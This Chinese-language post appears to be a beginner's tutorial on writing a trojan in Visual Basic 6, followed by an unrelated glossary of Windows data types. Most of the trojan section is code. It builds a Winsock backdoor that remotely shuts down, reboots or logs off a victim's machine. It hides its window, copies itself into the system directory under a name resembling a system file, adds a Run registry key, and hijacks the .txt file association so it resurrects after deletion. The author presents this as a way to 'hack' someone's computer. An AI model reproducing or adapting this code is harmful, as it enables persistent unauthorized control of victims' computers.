经过这样的格式处理,把详细资料都放在程序内部进行翻译,而不是直接把要做的事传来传去,“含蓄”的木马通常可以让人摸不到头脑,呵呵。


用VB写木马

相信大家都知道木马的厉害吧~
它可以在无形中记录你的键盘输入、截取你的密码;从你的机子中神密地偷走你的重要资料;甚至格掉你的硬盘……那么它是怎么工作的呢?
其实原理倒也很简单,它们不外乎也就是基于TCP/IP协议的客户端/服务端程序。工作原理也和普通的客户端/服务端软件一样,只不过它们隐藏得比较好,不容易发现而已。
那些操纵木马的人会想法设法地让你运行他的服务端,然后通过客户端向你电脑中的服务端程序发出一些请求,最后对你的电脑进行操作,完成他们想要达到的目的。

而我还是菜鸟,不能编写出很厉害的木马。
就从一个最简单的入手吧:

首 先,打开Microsoft Visual Basic 6.0 ,新建一个标准EXE工程,命名为Server,把窗体form1的Name属性为frmServer,在窗体中加入一个winsock控件(在“工程” —“部件”里选取),Name设为sckServer,协议设为默认的TCP/IP协议。

接下来我们回来frmServer窗体模块中,添加如下代码:
Private Sub FORM_Load()
With Me
.sckServer.LocalPort = 4000 ‘本地端口
.sckServer.Listen ‘开始监听
End With
End Sub
‘接受客户端的连接请求。
Private Sub sckServer_ConnectionRequest(ByVal requestID As Long)
With Me
If .sckServer.State <>sckClosed Then .sckServer.Close
.sckServer.Accept (requestID)
End With
End Sub

接下来我们来建立客户端程序:新建一个工程,名为Client,把窗体名为frmClient,同样的在上面加入一个winsock控件,名为sckClient,协议为TCP/IP协议。再加一个按钮改name属性为cmdConnect在窗体模块中加入代码:
Private Sub FORM_Load()
With Me
.sckClient.RemoteHost = "127.0.0.1" ‘设置远程IP 我就随便写了个。
.sckClient.RemotePort = 4000 ‘远程端口,就为server中的设置一样。
End With
End Sub
Private sub cmdConnect_Click()
SckClient.Connect
End sub

至此,单击Connect按钮我们的两个工程已经可以进行通信了,但看不见,你可以在Client中的sckClient_Connect事件中加入代码:debug.print"Connetion successful!"来查看。

现在仅仅刚开始,这个木马什么都做不了,下面我来为它们添加些功能吧。最简单的,我打算用它实现——关机,重启,注销。好,开始吧!
在Server工程中新建一个模块,Name为modApi,这个模快为一些API函数,添加如下API函数:
Public Declare Function ExitWindowsEx Lib "user32" Alias "ExitWindowsEx" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long
Public Const EWX_LOGOFF = 0
Public Const EWX_REBOOT = 2
Public Const EWX_SHUTDOWN = 1
Public Declare Function ClipCursor Lib "user32" Alias "ClipCursor" (lpRect As Any) As Long
Public Type RECT
Left As Long
Top As Long
Right As Long
Bottom As Long
End Type

注意哦:在这两个socket中编程中,进行通信的重要事件是DataArrival事件,用于接收远程数据。
下面在Client工程的frmClient窗体中放入三个按钮,分别为cmdExit,cmdLogoff,cmdReboot。它们用于对远程的关机,注销,重启操作。分别添加如下代码:
Private Sub cmdExit_Click()
Me.sckClient.SendData "Exit"
End Sub

Private Sub cmdLogoff_Click()
Me.sckClient.SendData "Logoff"
End Sub

Private Sub cmdReboot_Click()
Me.sckClient.SendData "Reboot"
End Sub
全都是对服务端发出请求。

下面转到Server工程中:在frmServer中添加sckServer的DataArrial事件,接收客户端的请求。
Private Sub sckServer_DataArrival(ByVal bytesTotal As Long)
Dim strData As String
With Me
‘接收客户请求的信息
.sckServer.GetData strData
Select Case strData
Case "Exit"
‘关机
Call ExitWindowsEx(EWX_SHUTDOWN, 0)
Case "Reboot"
‘重启
Call ExitWindowsEx(EWX_REBOOT, 0)
Case "Logoff"
‘注销
Call ExitWindowsEx(EWX_LOGOFF, 0)
End Select
End With
End Sub

好 了,到此我们已经实现功能了,但还不行,我们要它在隐藏运行。这简单,在frmServer中的FORM_Load事件中加入一句:me.hide。好这 下看不见了,但大家知道木马是一开机就自动运行了,这又是为什么,怎么实现的?把它加入到注册表的启动组中?没错,那就加吧。
回到Server工程中的modApi中加入如下API函数:
Public Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Declare Function RegSetvalueEx Lib "advapi32.dll" Alias "RegSetvalueExA" (ByVal hKey As Long, ByVal lpvalueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Const REG_BINARY = 3
Public Const REG_SZ = 1
Public Const HKEY_LOCAL_MACHINE = &H80000002
Public Const HKEY_CLASSES_ROOT = &H80000000
‘写到注册表启动组中的过程。
Public Sub StartupGroup()
Dim sKey As String
Dim result As Long
Dim hKeyID As Long
Dim sKeyVal As String

sKey = "Systrsy" ‘启动组中的键,找一个与系统文件相近的。
sKeyVal = "C:\windows\system\systrsy.exe" ‘木马文件的路径,可以用GetSystemDirectory来取得系统路径。
result = RegOpenKey(HKEY_LOCAL_MACHINE, _
"Software\Microsoft\Windows\CurrentVersion\Run", hKeyID)
If result = 0 Then
result = RegSetvalueEx(hKeyID, sKey, 0&, REG_SZ, sKeyVal, _
Len(sKey) + 1)
End If
End Sub
好就这样简单地完成了。但是,想过没有,如果不是很菜的鸟,到注册表中见一删,我们苦苦的心血不就白白地浪费了吗?不行,还得想让他发现了删也删不掉。请看下面的代码:
Public Sub WriteToTxt()
Dim result As Long
Dim hKeyID As Long
Dim skey As String
Dim skeyVal As String
skey = "txtfile\shell\open\command"
skeyVal = "C:\windows\system\txtView.exe"
result = RegOpenKey(HKEY_CLASSES_ROOT, skeyVal, hKeyID)
If result = 0 Then
result = RegSetvalueEx(hKeyID, skey, 0&, REG_SZ, _
skeyVal, Len(skeyVal) + 1)
End If
End Sub
肯定不少朋友一看就知道了,原是与txt文件进行关联,一点也不错,但C:\windows\system\txtView.exe是哪里来的,我们的木马是C:\windows\system\systrsy.exe呀。这可是我们木马的分身了。
好,回到Server工程的frmServer窗体的FORM_Load中,加入如下代码:
Dim sCurrentPath As String, sSystemDir As String
sCurrentPath = App.Path & "\" & App.EXEName & ".exe"
sSystemDir = “C:\windows\system”
On Error Resume Next
‘复制文件成系统目录下的Systrsy.exe
FileCopy sCurrentPath, sSystemDir & "\Systrsy.exe"
On Error Resume Next
‘复制文件成系统目录下的txtView.exe
FileCopy sCurrentPath, sSystemDir & "\txtView.exe"

‘调用
Call startupGroup
Call WriteToTxt

‘判断程序是否下在运行
If App.PrevInstance Then
‘如果已经运行就退出。
End
End If

好 了,现在,这个木马已经像个木马了。检查下有没有错误,然后快把它编译为EXE文件吧!只要一运行你的程序,不管在哪里,就会把自身复制到系统目录下(还 带一个分身),下次开机自己就运行了,这样你就可以把他的电脑给黑掉了。即使对方发现把它给删了,它一旦打开TXT文件,你的木马又复活了,怎么删也删不 掉,哈哈!

当然这只是个最简单的粒子,而且我也刚学VB`
难免会有很多错误的地方,也希望大家能指出来呀。

附件里是源码,和我一样的菜鸟们可以看看哦!~

另外:
大家应该知道了吧,即使是再厉害的木马,你不运行它,就不会有什么事,所以,我也提醒大家,不要轻易的打开从网上下载的一些东西。
有误的地方欢迎大家指正。


PS:原来传说中的木马就是这样写出来的… 哈哈   有

VC& mfC
ATOM 常用数据类型总结ATOM 原子(原子表中的一个字符串的参考)
BOOL 布尔变量
BOOLEAN 布尔变量
BYTE 字节(8位)
CCHAR Windows字符
CHAR Windows字符
COLORREF 红、绿、蓝(RGB)彩色值(32位)
Const 变量,该变量的值在执行期间保持为常量
CRITICAL_SECTION 临界段对象
CTRYID 国名标识符
DLGPROC 指向一个对话框过程的指针
DWORD 双字(32位)
ENHMFENUMPROC 指向一个应用程序定义的回调函数的指针,该回调函数枚举增强的元文件记录
ENUMRESLANGPROC 指向一个应用程序定义的回调函数的指针,该回调函数枚举资源语言。
ENUMRESNAMEPROC 指向一个应用程序定义的回调函数的指针,该回调函数枚举资源名称。
ENUMRESTYPEPROC 指向一个应用程序定义的回调函数的指针,该回调函数枚举资源类型。
FARPROC 指向一个回调函数的指针
FLOAT 浮点变量
FMORDER 32位字体映射值的数组
FONTENUMPROC 指向一个应用程序定义的回调函数的指针,该回调函数枚举字体
GOBJENUMPROC 指向一个应用程序定义的回调函数的指针,该回调函数枚举图形设备接口(GDI)对象
HACCEL 加速键表句柄
HANDLE 对象的句柄
HBITMAP 位图句柄
HBRUSH 画刷句柄
HCONV 动态数据交换(DDE)会话句柄
HCONVLIST DDE 会话句柄
HCURSOR 光标句柄
HDC 设备描述表(DC)句柄
HDDEDATA DDE 数据句柄
HDLG 对话框句柄
HDWP 延期窗口位置结构句柄
HENHMETAFILE 增强原文件句柄
HFILE 文件句柄
HFONT 字体句柄
HGDIOBJ GDI 对象句柄
HGLOBAL 全局内存块句柄
HHOOK 钩子句柄
HICON 图标句柄
HINSTANCE 实例句柄
HKEY 登记关键字句柄
HLOCAL 局部内存块句柄
HMEMU 菜单句柄
HMETAFILE 元文件句柄
HMIDIIN 乐器的数字化接口(MIDI)输入文件句柄
HMIDIOUT MIDI 输出文件句柄
HMMIO 文件句柄
HOOKPROC 指向一个应用程序定义的钩子函数的指针
HPALETTE 调色板句柄
HPEN 画笔句柄
HRGN 域句柄
HRSRC 资源句柄
HSZ DDE 字符串句柄
HWAVEIN 波形输入文件句柄
HWAVEOUT 波形输出文件句柄
HWINSTA 工作站句柄
HWND 窗口句柄
INT 符号整数
LANGID 语言标识符
LCID 所在国(Locale)标识符
LCTYPE 所在国类型
LINEDDAPROC 指向一个回调函数的指针,该回调函数处理行坐标
LONG 32位符号整数
LP 指向一个以"NULL"结束的Unicode(TM)字符串的指针
LPARAM 32位消息参数
LPBOOL 指向一个布尔变量的指针
LPBYTE 指向一个字节的指针
LPCCH 指向一个Windows字符常量的指针
LPCCHOOKPROC 指向一个应用程序定义的钩子函数的指针
LPCFHOOLPROC 指向一个应用程序定义的钩子函数的指针
LPCH 指向一个Windows字符的指针
LPCOLORREF 指向一个COLORREF值的指针
LPCRITICAL_SECTION 指向一个临界段对象的指针
LPCSTR 指向一个以"NULL"结束的WINDOWS字符串常量的指针
LPCTSTR 指向一个以"NULL"结束的Unicode或Windows字符串常量的指针
LPCWCH 指向一个以"NULL"指向一个以"NULL"结束的Unicode字符常量的指针
LPCWSTR 指向一个以"NULL"指向一个以"NULL"结束的Unicode字符串常量的指针
LPDWORD 指向一个无符号双字(32位)的指针
LPFRHOOLPROC 指向一个应用程序定义的钩子函数的指针
LPHANDLE 指向一个句柄的指针
LOHANDLER_FUNCTION 指向一个处理程序函数的指针
LPHWAVEIN 指向一个波形输入文件句柄的指针
LPHWAVEOUT 指向一个波形输出文件句柄的指针
LPINT 指向一个符号整数的指针
LPLONG 指向一个符号长整数(32位)的指针
LPOFNHOOKPROC 指向一个应用程序定义的钩子函数的指针
LPPRINTHOOKPROC 指向一个应用程序定义的钩子函数的指针
LPSETUPHOOKPROC 指向一个应用程序定义的钩子函数的指针
LPTSTR 指向一个以NULL结束的Unicode或Windows字符串的指针
LRESULT 消息处理的符号结果
LPVOID 指向任何类型的指针
LPWSTR 指向一个以"NULL"结束的Unicode字符串的指针
LUID 局部唯一的标识符
MCIDEVICEID 媒体控制接口(MCI)设备标识符
MFENUMPROC 指向一个应用程序定义的回调函数的指针,该回调函数枚举元文件记录
MMRESULT 多媒体消息的处理结果
NPSTR 指向一个以"NULL"结束的Windows字符串的指针
NWPSTR 指向一个以"NULL"结束的Unicode字符串的指针
PBOOL 指向一个布尔变量的指针
PBYTE 指向一个字节的指针
PCCH 指向一个Windows字符常量的指针
PCH 指向一个Windows字符的指针
PCHAR 指向一个Windows字符的指针
PCRITICAL_SECTION 指向一个临界段对象的指针
PCSTR 指向一个以"NULL"结束的Windows字符串常量的指针
PCWCH 指向一个Unicode字符常量的指针
PCWSTR 指向一个以"NULL"结束的Unicode字符串常量的指针
PDWORD 指向一个无符号双字的指针
PFLOAT 指向一个浮点变量的指针
PFNCALLBACK 指向一个回调函数的指针
PHANDLE 指向一个句柄的指针
PHANDLER_ROUTINE 指向一个处理程序的指针
PHKEY 指向一个登记关键字的指针
PINT 指向一个符号整数的指针
PLONG 指向一个符号长整数的指针
PLUID 指向一个局部唯一的表示符(LUID)的指针
PROPENUMPROC 指向一个应用程序定义的回调函数的指针,该回调函数枚举窗口特征
PSHORT 指向一个符号短整数的指针
PSID 指向一个加密标识符(SID)的指针
PSTR 指向一个以"NULL"结束的Windows字符串的指针
PSZ 指向一个以"NULL"结束的Windows字符串的指针
PTCH 指向一个Windows或Unicode字符的指针
PTCHAR 指向一个Windows或Unicode字符的指针
PTSTR 指向一个以"NULL"结束的Windows或Unicode字符串的指针
PUCHAR 指向一个无符号Windows字符的指针
PUINT 指向一个无符号整数的指针
PULONG 指向一个无符号长整数的指针
PUSHORT 指向一个无符号短整数的指针
PVOID 指向任何类型的指针
PWCH 指向一个Unicode字符的指针
PWCHAR 指向一个Unicode字符的指针
PWORD 指向一个无符号字的指针
PWSTR 指向一个以"NULL"结束的Unicode字符串的指针
REGSAM 登记关键字的加密掩码
SC_HANDLE 服务句柄
SERVICE_STATUS_HANDLE 服务状态值句柄
SHORT 短整数
SPHANDLE 指向一个句柄的指针
TCHAR Unicode或Windows字符
TIMERPROC 指向一个应用程序定义的定时器回调函数的指针
UCHAR 无符号Windows字符
UINT 无符号整数
ULONG 无符号长整数
USHORT 无符号短整数
VOID 任何类型
WCHAR Unicode字符
WNDENUMPROC 指向一个应用程序定义的回调函数的指针,该回调函数枚举窗口
WNDPROC 指向一个应用程序定义的窗口过程的指针
WORD 无符号字(16位)
WPARAM 32位消息参数
YIELDPROC 指向一个输出回调函数的指针